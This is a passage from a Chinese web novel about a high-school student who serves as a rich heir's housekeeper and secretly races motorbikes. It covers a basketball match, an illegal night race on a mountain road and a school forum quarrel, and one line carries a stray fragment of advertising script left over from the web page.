“靠！我开玩笑的啦，你还真鞠躬！”
曲回舟挠挠鼻尖：“都是同学一场，没必要，真没必要这样哈。”
林柒看了陈向松一眼，刚要开口说些什么，就听陆江野那边又突然传来声音——
“你和林柒很熟吗？”
林柒骤然一怔，手放在膝盖上抠了抠。
陈向松下意识看了林柒一眼，接着磕磕巴巴开口道：“因为......因为是同学，前后桌......”
“哦。”
陆江野不置可否，扯了扯嘴角，转头看了林柒一眼。
这时候两人中间正好伸进来一颗脑袋。
陆江野：“............”
曲回舟探着头过来：“哎，陆哥，交个朋友？我觉得你今天早上的行为简直太对我胃口了！我们也算患难与共了吧？”
“还有林柒，同学这么久，我怎么不知道你打架原来这么行的？哦对，你还会手语！”
林柒：“......”
这个真的没必要再提。
曲回舟说完，又看了看陈向松，轻咳一声：“哦对，还有陈向松......”
结果卡了半天，没下文了。
“咳，都是好同学。”
“嗯，好同学。”
曲回舟尴尬点着脑袋，又转向陆江野，手搭上肩膀：“但是陆哥，就算是好兄弟了，我也肯定不会承认你比我帅的！”
“老子还是天下第一帅！”
陆江野看了眼搭在自己肩膀上的手，又看了眼曲回舟，眯了眯眼睛，慢声开口道：“但我怎么觉得，我们家小管家都比你长得好看呢，哦对了，屁股还比你翘呢，眼睛是眼睛，鼻子是鼻子的，长腿细腰，比例完美。”
林柒：“............”
他果然翻看之前的聊天了！
............
因为自封了好兄弟，觉得有了患难与共的交情，曲回舟热情如火的邀请两人体育课上来一起打一场篮球友谊赛，对手是隔壁实验二班，正好他们经常一起上体育课，之前每次打都输得好惨，现在是时候给队伍里输入新鲜血液了！
林柒真的有理由怀疑，曲回舟那一番发表感言，实际上就是为了拉他们入伙打篮球，好赢了实验二班。
这种事他先前都不参与的。
结果现在......都不想数是第几个“第一次”了。
高三的体育课都是自由活动，只要人在操场上就行，算是给紧张的学习生活挤出一抹难得放松和娱乐的时间。
大家都很珍惜，就是运动娱乐器材要靠抢才行。
不然真的抢不到......
陆江野被曲回舟拖着抢篮球去了，因为篮球是最最难抢的。
剩下的男生则是去抢别的，能抢到多少是多少，能抢到什么是什么。
林柒逮着这一抹空档，将陈向松拽到了一边，皱着眉低声问：“陈庆是不是又来找你和娟姨麻烦了？！”
陈向松眼睛一下子红了，低着头轻点了一下。
轻微颤抖的声音里，竟带着一抹愤恨：“我妈挣
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的钱......他又抢走了。”
林柒眉头蹙得更紧：“那你跟着吴毅？”
“我不是为了钱！真的！”
陈向松急急忙忙解释道：“我只是以为他人多，他能帮忙教训......所以我才想跟着，但是我没想跟着他们一起堵人要钱，昨天是我第一次跟着吴毅，我没想到......林哥你信我，我只是想学一下，我想反抗......”
林柒啧了一声，伸手掐着陈向松后脖子，把他狠狠往下一按，给个教训一般。
“你踏马跟在那种人身边还想着不和他们同流合污？！你踏马有脑子吗！”
林柒压低声音怒斥：“你想过娟姨知道后会是什么感受吗？！”
“陈向松，这次我就当你脑子是被驴踢了脑筋不清楚！再有下次，你看我怎么教训你！”
陈向松哭着抹眼泪：“我，我知道错了......我当时就后悔了。”
林柒缓了一下，看向陈向松：“是不是还缺钱？”
陈向松猛摇头，刚想开口，就被林柒打断。
“不用骗我。”
林柒淡淡道：“陆江野给的那2万能把摊子再支起来，但也不会有多少剩余，娟姨身体不好，陈庆又回来找你们拿钱，总不可能再给你们剩下多少吧，他哪有那么好心，还有陈庆回来这件事，你为什么之前不跟我说——”
“林哥！”
陈向松把眼泪抹掉，低声道：“你已经帮我和妈妈太多了，我们不能再拖累你。”
“更何况那不过是小时候的恩惠，妈妈都说这种根本就不用偿还什么，是林哥你好心，但其实你真的不用一直接济我们......”
林柒看了陈向松半晌，翻了个白眼：“你管我呢，屁话那么多。”
“林哥......”
“哎？你们两个怎么在这里，在聊什么啊？”
陈向松声音一顿，林柒回过头。
陆江野和曲回舟就在身后。
和陆江野对视一眼，林柒这才开口道：“也没聊什么。”
“对了，你们抢到篮球了？”
曲回舟还想开口再说些什么，这会儿注意力被转移走，瞬间神采飞扬一点头：“那当然，我和陆哥出马，完全没问题啊！”
“哦，那我们——”
“你们两个先走，我有话要问他。”
陆江野抬了抬下巴，点了点陈向松，示意曲回舟先带陈向松离开。
曲回舟也没多想：“行，那你们两个聊完就赶紧过来啊。”
说完就招呼陈向松离开了。
陆江野从陈向松的眼睛上收回视线，这才转向林柒：“你们刚才在说什么？”
林柒看了看陆江野，突然露出些不好意思的神情来：“少爷你发现了啊？其实......其实我刚刚是在帮你警告陈向松。”
陆江野蹙了下眉：“什么？”
“昨天我可看见了，堵少爷的那帮人里就有他，结果今天少爷还算帮了他的忙，还给了他们钱，他得识好歹！”
林柒伸出大拇指和食指，捏了个一小mimi距离：“所以我刚才就趁机教育和教训了他一丢丢。”
“少爷你不用夸我，这都是我应该为少爷做的。”
说是这么说，但林柒还是睁着一双眼睛看着陆江野，求夸的意思不要太明显。
陆江野看了林柒半晌，突然伸手过去，捏住了林柒下巴。
“是吗？不夸你，那我奖励奖励你？”
林柒：“......？？？”
5. 小企鹅
他是这个意思吗？
不对，他说的不是这个意思，但表现出来是这个意思，甚至陆江野还给升级了一下。
但也不对啊，陆江野怎么是这个反应？
陆江野不该是这种反应啊......
林柒都有些没反应过来。
“该怎么奖励你呢？”
陆江野一边说着，一边往林柒方向靠近。
优越的五官在眼中迅速放大，极具冲击力，那双眼仿佛锁定了猎物一般，锋锐而幽深，瞳仁黑而沉，压迫感十足，让人不敢轻易动弹，明知要面临未知的恐惧，却还是无法挪动分毫，甚至禁不住陷入其中。
两秒后，陆江野和林柒相对，停了下来。
两人一高挺一秀挺的鼻尖只差半根手指的距离。
林柒仿佛若无所觉，带着疑问：“少爷，怎么了？”
陆江野又定定看了林柒两秒，转身走了。
............
每次体育课，实验一班和实验二班几乎都能撞上，而两个班又是前后数字，不仅学习上比拼，就连体育课上也要狠拼一下。
奈何学习上实验一班还能拼得过去，可是体育课上却少有胜绩。
尤其是在打篮球这块上，简直能怄死人。
“呦，我当是谁把篮球都抢走了呢，原来是你们啊，早说啊，早说我们直接让给你们好了，反正不过是个发球优先权哈哈。”
“哎我说，为了抢个发球优先权，你们也是拼哈哈哈。”
“诶你们少说点吧，要不然人家一会儿不跟咱们一块儿玩了怎么办，哈哈哈......”
曲回舟也哈哈，哈哈、哈哈哈！
“少得意，这次肯定赢你们！”
曲回舟朝对面翻了个白眼，又抱着球比了个中指：“球都抢不过我们，还想着这次篮球打过我们？搞笑呢！哈、哈！”
“............”
废什么话，就是干！！
篮球场上，一班和二班不知道第多少次对上，四周围还围了一圈人。
曲回舟几个都有篮球衣放学校这里，早在上体育课之前就换上了，只有陆江野和林柒还穿着自己的衣服。
于是两人就格外显眼一些。
“哎，那两个人是谁啊，咱们学校什么时候有长得这么好看的人了？！”
“另一个先不说，但那个穿蓝色卫衣的不是一班的林柒吗？林柒啊，学习成绩很好，经常年级前几，而且长得也很好看！虽然平时很低调，但是我都有关注他，曾经和他一个考场过，他还借了一支笔给我，人很好的！”
“哇，那我还真不知道，感觉平时都不见他参加这种活动，所以真的没怎么注意过。”
“哎哎，那另一个是谁啊？感觉和林柒是两种风格的长相呢，天啊，一个狂野霸气，一个秀美漂亮嘿嘿......”
“也是一班的，该不会是陆家转学来的那位太子爷吧......倒是还真和传闻中一样呢。”
陆江野的打球风格和他这个人一样，很野性，仗着身高和身材的优势，力量感十足，甚至带着一股子无遮无挡的狠劲儿，带球过人，原地起跳，三分上篮，几乎锐不可挡，让人难以招架。
上半场，一班以压倒性的优势压了二班。
其他人甚至几乎没怎么摸到过球。
包括一班的人。
曲回舟欲言又止，似乎想说点儿什么，但最终还是没开口。
下半场开始，二班的人集体围攻陆江野。
应该是被压狠了，被打出了火气，所以开始不讲武德起来。
围追堵截，在违规的边缘浅浅擦个边，全都可着陆江野一个人招呼，还让人不好发作。
陆江野就算再强悍，也只有一个人。
独木难支。
于是难免就被人逮住机会钻了空子——
一个狠狠撞击过来，砰的一声，陆江野此刻还在躲避另一个人，就没能站稳。
但下一秒，他后背被人顶住，另一边也传来林柒的声音——
“球给我！”
“少爷”的前缀没了，甚至还隐约带了强势的口吻。
陆江野眉梢一挑，直接将球快速抛了过去。
快准稳。
关键是接球的人也非常稳。
羚羊般轻巧的跳跃，卫衣拉起，露出细窄的腰际，上面竟还有层薄薄的肌肉，紧实而白皙。
不过昙花一现，等球接住，卫衣落下，便将那一抹白皙给遮了过去。
无端令人有些叹惋。
但随即，注意力便又被其他所引走——
就见林柒运着球前冲，竟是身姿灵活地快速躲过好几个人，甚至还来了个虚晃一枪，右手抛出，左手接住，同时整个人像是要从右边突围，结果一个旋身，又从左边灵活绕过去了，就这一下，让周围的尖叫声骤然又拔高了许多。
“我靠，陆哥，你家林柒打篮球竟然这么牛的吗？！”
曲回舟刚才拿背撑了一下陆江野，就一直在陆江野身边跟着跑，此时声音是抑制不住的兴奋，看着林柒带球过人比谁都激动。
他也早憋着火呢，现在看林柒这操作，简直不要太爽！
陆江野几不可察地顿了顿：“我家林柒？”
“哦哦，也是我们班的，但我们之前可不知道林柒这么会打篮球啊。”
曲回舟自顾自理解自顾自回答：“那陆哥你肯定知道吧，林柒不是在陆家和你一起长大的？”
陆江野没出声，见林柒那边又被人堵住，一胳膊杵向曲回舟——
“别废话了，去支援。”
“哎，来了！”
............
下半场一开始略显憋屈，但之后便打得无比顺畅。
直到这节课下课之前，比赛完美结束。
“艹！打得太爽了！我们赢了！！哈哈！”
曲回舟绕着全场嚣张飞奔，最后一把抱住林柒：“你最后进的那球太帅了！！！”
“哈哈，老子终于能扬眉吐气一回！！”
“艹，简直爽死了！”
“这次我们赢二班简直赢得漂亮！”
“拜托，他们下半场都直接打急眼了好嘛，那也没赢我们，哈哈！”
“林柒你怎么早不和我们一起打球！下次还叫上你！”
“对了，还有陆哥！”
“陆哥牛逼！林柒牛逼！”
“芜湖，一班牛逼！噢耶耶！”
............
林柒心想，他真是没控制住自己。
不过看着四周围热烈的气氛，还是忍不住笑了一下。
“哎，林柒，你笑起来左边有个小梨涡诶？”
曲回舟刚抱完林柒，此时还离得近，正好看见，就忍不住伸手想戳一下。
结果半路被截住。
陆江野按着曲回舟的肩膀，将人转了个圈：“走了，去买水。”
“嗯？
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等等，这不是有人送水吗？”
他们打篮球结束，上来送水的简直不要太多。
“没爱喝的，不想要。”
陆江野斜睨过去：“还有，这是能随便要的？”
说完还转过头招呼林柒——
“跟上来，交钱。”
林柒：“......哦。”
才打完球，几人身上都是汗，冷风一吹，叫人直打哆嗦，但陆江野却跟个没事儿人一样，半点不带嘘的，林柒落后两人几步，一边擦汗一边低头看手机，他手机上有人发来了信息，备注是“猛吃饭”。
猛吃饭：【新车改装完毕，今晚西岩山上有场比赛，要来参加吗？】
林柒：【几点，多少钱？】
发过去才想起来，现如今他肯定不能随便外出了。
至少不能让陆江野知道......
可是同一屋檐下，不让陆江野知道很难。
林柒皱了皱眉，看了眼前面走着的身影。
“哎，陆哥，刚才的比赛打得刺激吗？”
曲回舟哥两好一般笑嘻嘻和陆江野说着话。
陆江野：“还行。”
语气很无所谓，甚至没什么起伏。
曲回舟啧了一声：“陆哥你不会觉得还没打过瘾吧？”
说完左看右看，又小小声开口道：“那我跟你说个事儿，我家是开赛车俱乐部的，晚上有场比赛，你要来吗？”
“这个刺激吧，保准比打球还刺激千百倍！”
“赛车？机车比赛？”
陆江野倒还真感点儿兴趣。
林柒不知道前面两人在说着什么，对面说了个时间报了个价，还是老一套差不离，对林柒而言基本上没什么问题，有问题的是陆江野那边，他正想要怎么办呢，结果就见陆江野转过来，丢下一句晚上有事儿，可能不回来的发言。
嗯哼？？
林柒眨眨眼，努力克制住自己。
“少爷，您干什么去啊？真不回来吗？需不需要我跟着？”
“不需要。”
陆江野冷漠回答，无情拒绝，盯着林柒看，像是意有所指般，又像是某种不明试探：“夜不归宿，你？”
林柒立即举手保证：“我保证不上报家里！”
“我是站在少爷您这边的，真的！”
所以你爱咋咋地，无所谓。
反正他管不了，也不会替陆家去管。
正好这样也恰恰合了他的意。
于是在陆江野一放学就和曲回舟一起离开后，林柒先是回了一趟幸福里小区，放好东西后，然后也出了门。
西岩山是举办赛车比赛的圣地。
正规的，不正规的，总之只要是赛车比赛，基本上都在这一带进行。
俱乐部可以报名参加，个人也可以报名参加，没什么特别的规定限制，但出了事概不负责。
给林柒打电话的人叫孟迟，是黑月亮俱乐部的老板，最大的爱好就是热衷于亲自整改赛车，和林柒的认识是在机缘巧合之下，一般新改的赛车都要试驾，基本上都会交由林柒来试，因为试车的钱给的不少，所以林柒很乐意接这种活儿。
当然，如果赢了比赛，给的钱会更多。
不过林柒还是个学生，愿意接是一回事儿，但不愿意给自己找麻烦。
所以每次他上场，一般都是戴着口罩，连对外的称呼都是随便取的。
“小企鹅？”
陆江野皱着眉：“这人是谁？”
6. 哦豁
“Q啊，很神秘的一个赛车手，我们对家俱乐部的。”
曲回舟抱着手臂科普：“每次他一上场，我们燃火至少得输一车头多的距离，虽然比的次数少，但回回拿第一。”
“也不知道他叫什么名字长什么样，反正就一个代号Q，不过我们都管他叫小企鹅。”
曲回舟摸了摸下巴：“感觉他看着年纪也不大的样子。”
当然，叫人家小企鹅，也是体现了他们不服输不甘心的精神！
陆江野不置可否，对此并不感兴趣。
他来这里只是想好好发泄一下。
“走吧，带我去更衣间。”
西岩山的赛车比赛也叫机车比赛，要换上特定的机车服，跟制服类似，却比制服要更紧贴身体，最能凸显一个人的身材，曲回舟找了半天，才总算勉强找出适合陆江野穿的赛车服，就这样陆江野穿上之后还紧锁着眉心。
“先凑合凑合吧陆哥，我们这里都是均码，这个还是之前定制的时候不小心定制大一号了呢。”
曲回舟一边说，一边语气简直酸的要死。
目光定在陆江野身上，心想这大一号的他都穿不了，结果陆江野竟然穿得还紧？！
这是什么令人嫉恨的身材！
作为燃火俱乐部的少当家，曲回舟眼睛一转，拿出头盔：“咳，陆哥，要不然咱先把头盔戴上呗？”
陆江野瞥了曲回舟一眼。
“那什么，陆哥你一会儿要上场比的话，最好还是提前戴好头盔，免得被人发现不是？”
曲回舟拍拍胸脯：“我倒是不怕，毕竟谁都知道我家里开俱乐部的，等陆哥一会儿比赛拿到第一后，我可以帮陆哥吸引注意力！陆哥你会拿第一的对吧？帮我们俱乐部搓搓对家的威风啊，尤其是搓搓那只小企鹅的威风！必须狠搓一下！”
陆江野接过头盔往头上一戴，做工扎实用料十足的头盔，不仅安全值很高，也很消音。
很好，安静多了。
............
西岩山晚上热闹非凡，始发地在山顶，要从山下绕一圈回来，最先回来的就是第一名。
全程多个转弯，最急的转弯大概就是到山脚下再回转山上的那一次。
更确切来说，那不是转弯，那是掉头。
转弯还能压线，掉头则完全就是整个回转。
这时候最考验技巧和速度，也是最容易被赶超的地方。
陆江野和曲回舟到的时候，山顶已经聚集了很多人。
他们身上是深红色燃烧着火焰的队服，夜色下，像是凝固的血液，又像是深渊中燃烧的炙热暗火。
“看那边，陆哥，那几个穿黑色队服的，就是黑月亮俱乐部的，”
曲回舟朝一个方向指了指：“不过这里面应该没有那只□□小企鹅，他通常是比赛开始的时候才出现，比赛结束后就直接离开，神出鬼没的，从不过多停留，除了比赛过程中，别人想找他认识一下都可难咯。”
“对了陆哥，赛车手都得在场地中央等着，一会儿我就要下去了，你自己——我靠？！！”
“陆哥你看那边——”
曲回舟像是看到了什么，低骂了一句：“艹，怎么晚上还看到那孙子了？！”
陆江野顺着曲回舟指的方向看过去，也不由得皱了一下眉。
就在他们不远处，坐在机车上，单手抱着头盔的那个，不是吴毅还能是谁，此刻正抽着烟在听几个小弟说话，满眼的戾气。
这一天能碰到两回，也是邪门。
“老大，今天这里就是你的主场！”
小弟们主打的就是一个奉承到底——
“老大你放心好了，咱这车好不容易改装完，性能绝对强悍，比那什么俱乐部的车好多了，绝对能让老大你第一次比赛出场就震撼所有人，尤其是那个什么Q今天也上场比赛，他那个什么不败的第一名号，绝对今晚就能被老大你打破！”
“是啊是啊，老大你今天晚上就让他们好好见识一下你的实力吧！”
“那什么Q没遇到对手，那是我们老大之前都没上场过！”
吴毅嘬了最后一口烟，随即伴着唾沫星子把烟吐掉，冷笑一声：“老子这两天可算是憋够了气，今天非得好好出出不可！”
“今天碰到我算是他们倒霉！”
小弟们又是连连附和。
然后在比赛快开始的时候不得不下场。
与此同时，还没入场的选手也接连进到了场地中央。
一时间，机车发动时的轰鸣声几乎塞满耳朵。
只待指令一发出，所有参与比赛的车辆就会齐齐迸发而出。
吴毅最后一刻才把头盔戴上，正好被此时才进场的林柒看个正着。
林柒霎时就蹙了下眉。
真是冤家路窄。
没想到晚上又碰到这种人。
不过只要吴毅不惹到他头上，林柒也懒得搭理他。
砰——
比赛开始。
轰鸣声彻底响了起来。
伴随而来的，是肾上腺激素飙升的感觉！
那种不管不顾，只专注于眼前，只有一条道路，不顾一切向前冲的感觉，每每都能击中林柒内心底最深处的渴望。
向前，向前，再向前！
仿佛只有这样，他才能挣脱开桎梏，奔向最想要去往的方向——
在那里，他是自由的鸟。
嗡————
侧后方传来两道踩油门的声音，在逐渐逼近。
林柒有些诧异，看来这次来新人了？
一辆暗火一般的颜色，像是夜色里破开的炙焰，一道则是......骚包紫？哦，吴毅骑的那辆。
不过另一辆就不知道是谁了。
看车上的标志应该是燃火俱乐部的，但这次的骑行风格不像是先前燃火俱乐部的任何人之一。
极限压弯，不要命一般。
非常疯的风格。
林柒脑海里隐隐闪过一个念头，但没时间仔细想。
那辆车一开始在后面，结果短时间内就追了上来，直逼他车头位置。
甚至偶尔几个瞬间，隐隐有超过他的趋势——
林柒不由得逐渐兴奋起来。
两辆车一前一后，已然开始互相较劲起来。
速度一加再加。
这会儿谁还记得吴毅。
那辆骚包紫倒是紧紧坠在两辆车屁股后，但无论如何也追不上来。
先前夸大海口，吴毅原本以为最不济也是他和Q拼一拼，结果半道却杀出个程咬金？
不仅他没拼得过，甚至连第二名的位置都保不住！
一天天的，净丢人了！'');(window.adbyunion = window.adbyunion || []).push(id);})();
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心中憋屈的怒火像是又被人狠狠浇了一盆子热油上去，脸上也火辣辣的疼，发泄不了的愤恨犹如野草般疯涨，眼看着就到了山脚下，有什么仿佛在催发着吴毅，让他脑子一阵一阵的发热，想要不管不顾的发泄出来。
嘎吱————
刺耳的刹车上响起，接下来是要转向另一个车道上去。
林柒已经能将转向掉头压缩在一个极短的时间内，可这一刻，有人竟是速度没减多少，直接最低限度贴近地面，后车轮轻微抬起，只有前车轮蹭着地面摩擦回转？！是那个燃火俱乐部的新人！
就这几秒钟的时间，完全超过了他。
但不等林柒在心底感叹完，突然余光一扫，一辆车的车头竟硬生生变了道？！
西岩山的这条山路一共两条行道，一条从山底往上，一条从山顶往下，他们从山顶下来的时候，自然是走的山顶往下的车道，到了山脚下，自然有个变道处，能让他们换成另一条从山底往上的车道行驶。
否则的话，如果顺行和逆行都在一条车道上，那所有人干脆直接玩完算了。
西岩山规矩不多，但有一条是必须要遵守的。
那就是绝对不能变道！
绝对，不能。
任何时候都不能。
可现在，有人违反了这一条规定！
甚至还是奔着卡人去的！
前面那辆才刚刚压完弯正惯性抬起的赛车根本来不及躲闪！
来不及多想，林柒眉眼一厉，骤然拉直车身，拉足马力，擦着那辆越道的车而去，抬起一脚，猛地踹向对方车身！
砰——
尽管林柒已经在短时间内做好了准备，惯性相加下，自己车身还是忍不住一晃。
但对方更没讨着好。
这一脚，直接连人带车摔了出去。
后面过路车辆一阵嘘声。
他们也早就看到这辆车的骚操作了，此时恨不得嘘声一片，同时为林柒叫好。
妈的这种人就该死！
他们玩赛车求的是刺激，可不是想把命丢了！
碰到这种不守规矩的，就该扔出去狠狠教训一番！
同一时间，林柒在踹完吴毅的车身后，还在尽量稳住自己的车，但这时，胳膊突然被什么带了一把，这一把就稳住了。
定睛一看，竟是前面那辆踩了下刹车，使得两辆车的距离拉短，这才伸手带了他一下。
“继续。”
对方丢下两个字，又加快了速度。
林柒挑了挑眉，稳住之后自然也当仁不让。
就是这声音......怎么感觉有点熟悉？
不过周围声音太杂又太乱，声响还大，也可能是他听错了。
林柒沉下心，专心比赛。
毕竟拿到比赛第一，钱还能再加。
因为之前那场意外和那一下，两人又算是在同一起跑线上。
最后，林柒以半个车头的轻微差距，还是赢得了这次的比赛。
一场酣畅淋漓的比赛，真叫人痛快！
不过如果不是吴毅突然变道搞事，以对方那一次转弯掉头，没准儿林柒还真追不上对方。
他抬头看对面那人也停下车，刚想抬手打声招呼。
接着就见对面那人摘下了头盔——
......哦豁。
7. 气疯掉
陆江野。
陆江野？！
为什么陆江野会出现在这里？！
哦对，曲回舟。
燃火俱乐部是曲回舟他们家开的。
陆江野今天还是和曲回舟一起离开的。
为什么他先前一点都没往这方面想呢？！
林柒直接一哽，不能说话。
不然就暴露了。
他不能让陆江野知道自己出现在这里。
这么想着，林柒压根不想再和陆江野打任何招呼，转身就要走。
“等一下。”
结果他没想理陆江野，陆江野倒是叫住了他。
林柒下意识停住脚步，转头看了一眼陆江野。
对方高大修长的身材斜靠在机车上，长腿交叠在一起，头盔已经摘下，正夹在强健有力的臂弯里，略微汗湿的头发甩了甩，用手随意朝后梳了两下，露出饱满光洁的额头，随后抬起视线，看向林柒这边。
“你叫什么名字？”
林柒默不作声，心想刚才还不如一走了之。
“刚才谢了。”
陆江野又开口道。
林柒点点头又摇摇头。
表示后面那一下，对方也算是还回来了。
陆江野眯了眯眼，抽出根烟点上：“你是哑巴？”
林柒：“......”
我是不想搭理你行不行。
烟味飘散出来，哪怕隔着头盔也能闻到一丝。
林柒不由得蹙了下眉，鼻头也皱了一下。
不过陆江野点上之后却并未抽上几口，而是就拿在手指上夹着，不仔细看，压根看不到他指尖在轻微地颤抖。
眼底像是有血色积聚，无端透着股戾气。
但又仿佛被压制在重重克制之下，最后只于细微处才能窥见一丝丝端倪。
林柒脚下不由得后退了一步。
正巧这时候传来曲回舟激动呼喊陆江野的声音，他下一秒转身就走。
赶紧溜了溜了。
“哎哎，那小企鹅怎么回事？！怎么我一过来他就走了？？！”
曲回舟声音还透着兴奋：“陆哥你刚才在和他聊什么？我靠，陆哥你太行了！这次就和那只小企鹅差了不到半个车头的距离！就差那么一点点，我们就能拿到第一了！哦不对，我刚看回放，其实陆哥你有机会拿到第一的！都怪吴毅那孙子巴拉巴......”
陆江野一边等着手里的香烟燃烧完，一边听着曲回舟的逼逼叨。
同时目光从林柒的背影上收回。
“哎呀，越说越可惜了陆哥，你怎么就没拿到第一呢？！”
见差不多了，陆江野丢掉香烟用脚踩灭：“第一次，不熟练。”
曲回舟点点头：“哦，第一次......卧槽？！！！”
“陆哥你说什么？！什么第一次？！第一次什么？！”
“是我疯了还是你疯了啊？！”
曲回舟双手抓着头发，差点吓疯。
见过勇的，没见过这么勇的啊。
不对，这不是勇了，这是真疯了吧？！
曲回舟还想再说，这时候被陆江野瞥过来一眼。
霎时间，吓得曲回舟一激灵。
那眼神......
“放心，我自己有成算。”
“哦......哦哦。”
曲回舟下意识点了点头，不敢再说些什么。
............
另一边。
林柒快速回了黑月亮俱乐部，快速去更衣间换好了衣服，快速准备离开这里回去。
“你这么急急忙忙的赶着去投胎？”
一道温和斯文的声音自身后响起。
是黑月亮俱乐部的老板孟迟。
也是联系林柒的那位。
孟迟走过来：“小企鹅，这次的钱不要了？”
林柒无奈道：“孟哥，你给我打卡上不就行了。”
“我是想告诉你，山脚下不守规矩的那个，之后我会和其他俱乐部老板一起商量，永久拒绝他参加任何形式的赛车比赛。”
林柒点点头，嗯了一声：“这种人的确不能再让他有机会参加比赛。”
“不过你那一脚还是太莽了些。”
林柒摸了摸鼻尖：“一时情急嘛。”
孟迟无奈摇了摇头，拍了拍林柒肩膀：“你还是个学生，别太拼，否则下次我可不敢再破例让你来试车了。”
“嗯，我懂的。”
林柒：“谢谢孟哥。”
............
和孟迟告别后，林柒紧赶慢赶终于回了幸福里。
尽管陆江野说过他今晚不回来，但也许事有例外，没准就——
“你倒是比我还晚回来。”
林柒心底一咯噔。
“去哪了？”
陆江野大概也是刚回来，和他就差前后脚。
结果就那么巧，就是赶在了他前面到家......
调整下心情，林柒这才开口道：“少爷，您不是说今天晚上不回来吗？”
陆江野正整个人靠在沙发上，长腿交叠搭着茶几，闻言瞥过来一眼。
那意思：我回不回来用你管？
这狗东西。
林柒不好意思笑了一下：“要是早知道少爷今天晚上还回来，那我就不出去想要假装和少爷制造偶遇了。”
陆江野：“......？？？”
“我想跟在少爷身边啊。”
林柒眨眨眼，说得格外真诚：“少爷不让我跟着，我听话，但是我也得保证少爷的安全才行。”
“所以你的意思，是一直在外面找我？”
陆江野收回脚站起来，压迫感变得更足。
他一步步走向林柒：“保证我的安全，保护我？”
“是保护我还是监视我？”
糟糕了。
他先前的保证是不干预陆江野。
可现在这种行为，在陆江野看来......
“少爷，我——”
话还未说完，便被陆江野掐住了下巴。
“林柒。”
陆江野声音低沉，视线自上而下，眼底神色竟让林柒有些心悸。
“你最好不要骗我。”
............
高三学习紧任务重，眼看着上学期已经几乎过半，高三整体学习成绩还没什么亮眼惊人的变化，于是十一中校长大手一拍，决定实行晚自习计划，并要求各班成立以两人为单位的学习互助小组，互相进步，互相学习，共同携手美好未来。
这项规定一出，高三集体一片哀嚎怒骂。
学校论坛里集体发疯。
来自一只不愿意透漏姓名的高三苦逼狗：【草草草，我真服了学校领导！搞什么晚自习啊，人和狗都会猝死的好不好？！】
不到500分不改名字：【弱弱说一句，其实也还好吧，可以自己随意学点什么，反正在家也是学，在学
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校也是学。】
我傻逼我先说：【好学生就不要发言了OK？谁告诉你所有人放学之后在家里都学习啊？老子就想玩想放肆撒野行不行？！】
物理是什么鬼东西：【好学生凭什么就不能发言？又不是所有人都想着玩！再说学校出发点是好的，你不爱学拉倒！】
老子要奋斗：【我靠，快别内讧了！你们不知道城北一中都进来嘲笑咱们了吗？！】
............
十一中论坛发疯的发疯，吵架的吵架，甚至还有高一和高二的积极参与进来，主要是为他们未来的高三生活发愁。
总而言之，反对者众多。
结果吵着吵着，就发现有人在嘲笑。
而且人数还不少。
这么一冷静，才发现原来是城北一中的进来了——
那边也听说他们要开放晚自习的事情。
加上学校论坛无限制，这不就一起涌进来看热闹来了嘛。
成绩好你打我啊：【笑死，才上两个小时的晚自习都能吵成这样？难怪十一中一直比不过我们一中呢。】
偏科也能成神：【别这么说，毕竟我们一中门槛一直都很高，筛选下来的去了十一中，这肯定比不过啊，嗯......要理解他们。】
再进步一名：【谁让我们起跑线就是高，不过话说回来，就算他们同意实行晚自习，估计也就那样吧，这种逼着学习的效果不会好到哪里去，更何况市第一可一直在我们学校，有林染在，单一个人就能拉下他们好多分，这怎么比。】
我骄傲我自豪：【有理由怀疑十一中开放晚自习，还搞出什么学习互助小组计划，不会就是想借此提高整体成绩，好比得过我们一中吧？别笑死人了，这么多年都没超过，真是且败且战，且战且败啊，算了，给点鼓励吧，免得又说我们一中的刻薄。】
谢谢我就是学习好：【看看我们一中都有谁，再看看他们十一中都有谁就知道了，同样是一家的，一个姓氏，差距不是一般大哦，咳，我可没指名道姓，不过大家应该都知道是谁吧，哈哈。】
............
倒不是说一中的人对十一中搞晚自习都持这种态度，但都涌到别家学校论坛看热闹了，还能有几个说出什么好话来？
更何况论坛发言能临时起名字，看看名字就知道这群人什么态度了。
简直能气死人。
气疯掉！！！
于是一时间，十一中所有人态度都变了几变。
的确有人因为被看热闹和笑话而更羞于搞晚自习，但更多的，却被激起了一股想找回场子的斗志——
就类似于那种“告诉俺娘俺不是孬种！”的心情。
于是晚自习计划就这么被拍板定下来了。
至于学习互助小组，则是由各个班的班主任统筹分配。
尽量让学习好的和学习不好的一组，帮带一下，互相进步。
孔柏青直接在班级群里发了互助表单——
林柒一打开，就看到自己的名字和陆江野摆放在一起。
感谢天感谢地，他和陆江野真是绑死了吧。
也真是一点都不意外呢。
林柒转过头就开口：“没事少爷，我肯定不会逼您做什么的。”
“我不会多管——”
陆江野转着笔尖：“你怎么回事？”
“我说我不学了吗？”
林柒：“？”
那您是学......还是不学啊？
8. 堵嘴
晚自习的事情一敲定，学习互助小组的名单就下来了。
可见各班的班主任早就做好了准备。
不过实验一班还是有个小问题。
他们班多出来一个人。
但其实问题不大。
毕竟说是以两人为一个小组，可也不是什么死规定。
完全可以挑一个小组三个人一起。
于是实验一班就有一个学习互助小组是三人，而正好这个小组中有两个人学习还不错，可以一起辅导另外一个，群里调侃对方是个幸运儿，别人只有一个“导师”，他能有两个“导师”为他转身，可千万别辜负咯。
下午正常上完课，吃过晚饭，晚自习的时间是7点到9点。
一共两个小时的自习时间。
其实如果算上下午上完课到晚自习中间的这段时间，还能富裕出一个多小时的时间来。
所以一部分跑家的，干脆就选择直接在学校解决晚饭。
这样不仅省时省力，还很方便。
其中就包括林柒和陆江野。
对于吃饭这种事，陆江野倒是好打发。
自从来了城南十一中，多半不是在路上吃早饭，就是在学校吃中饭和晚饭。
此刻两人正吃着呢，曲回舟突然怒气冲冲地走过来，脸色有些难看。
“我刚才上厕所回来，路过老孔办公室，听见陈向松说不想跟我一组，甚至他都不想上晚自习？”
曲回舟一屁股坐在陆江野旁边：“靠，老子好歹也帮过他，这是干什么？讨厌我啊？”
还是他上次说话惹到陈向松了？
不至于这么小气吧！
林柒筷子一顿，抬起头：“他不想上晚自习？”
“是啊，不过这不是重点！”
曲回舟拍拍桌子，忿忿不平：“重点是他不想和我一组！他是不是嫌弃老子？！”
陆江野往嘴里塞个鸡腿，一边嚼一边瞥了曲回舟一眼，随即又看向林柒。
林柒轻咳一声：“应该不至于。”
“他家里情况你也看到了。”
林柒想了想，还是开口道：“他妈妈情况有些特殊，家里基本上都是母子两个一起撑着，这次放开晚自习，本来就要占用两个多小时的时间，可能陈向松是有什么事情想要空出这两个小时的时间吧，也许一会儿你可以直接问问他是什么情况。”
